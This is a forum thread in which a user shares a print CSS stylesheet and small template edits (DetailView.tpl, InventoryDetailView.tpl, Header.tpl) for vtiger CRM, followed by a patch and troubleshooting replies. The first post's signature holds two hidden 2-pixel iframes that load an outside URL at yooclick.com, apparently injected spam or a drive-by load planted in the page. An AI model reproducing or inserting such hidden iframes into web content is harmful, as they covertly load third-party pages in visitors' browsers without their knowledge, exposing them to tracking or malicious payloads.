Hi,
I have done simple print StyleSheet wich make all detail views printable via browser...
Example and files attached.
(If you haven't done customizations in that 3 files, just unpack attached zip..)
Description:
In DetailView.tpl & InventoryDetailView.tpl
is added just one class="noprint"
>
DetailView.tpl on line 396
InventoryDetailView.tpl on line 312
...Then we can hide "Action links" column in detail views for print.
No way, there isn't usable class or id for action links column at all. Unfortunately!...
---
in Header.tpl is (only) added on line 18 rel to include print css stylesheet...
I have one question. In Header.tpl I can see block for vtlib {if $HEADERCSS}
Can someone point me in the direction, if is this suitable for some "module" wich only and only will include that print stylesheet?... So we can have this as addon...? Or is it usable only for custom modules?...
Thanks & Regards
Lukas <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
for those who have modified the files, here is a patch with the changes:
you still have to copy the new files (print.css) into place.
joe
tsolucio
joe
tsolucio
thanks for diff.
ciao,
ln
i have copied the 3 files "detailview.tpl", "inventorydetailview.tpl" and "header.tpl" in my installation and the file "print.css" in the correct themes folder.
how can i check if i'm able to print? i find no difference in the menu..
thank you
just point to your browser
file > print ... thats all...
or press ctrl+p
there isn't any change in vtiger gui..
regards,
ln
thanks.
yes, i have that print button also <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
i'm wondering about some condition statement something like "if detailview=true show button = true else do nothing". any advice?
also (but this is beyond my ability) add "somewhere" <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) --> .noprint classes for empty data cells+labels...
regards,
lukas
for me i'm doing something wrong because if i go to print a ticket i print the entire web page and not just the ticket with the information.
look the picture
thank you
smarty\templates_c\<deleteallfileshere>
try empty browser cache ctrl+f5
regards,
l
thank you for your help.
you are welcome simone.
regards,
ln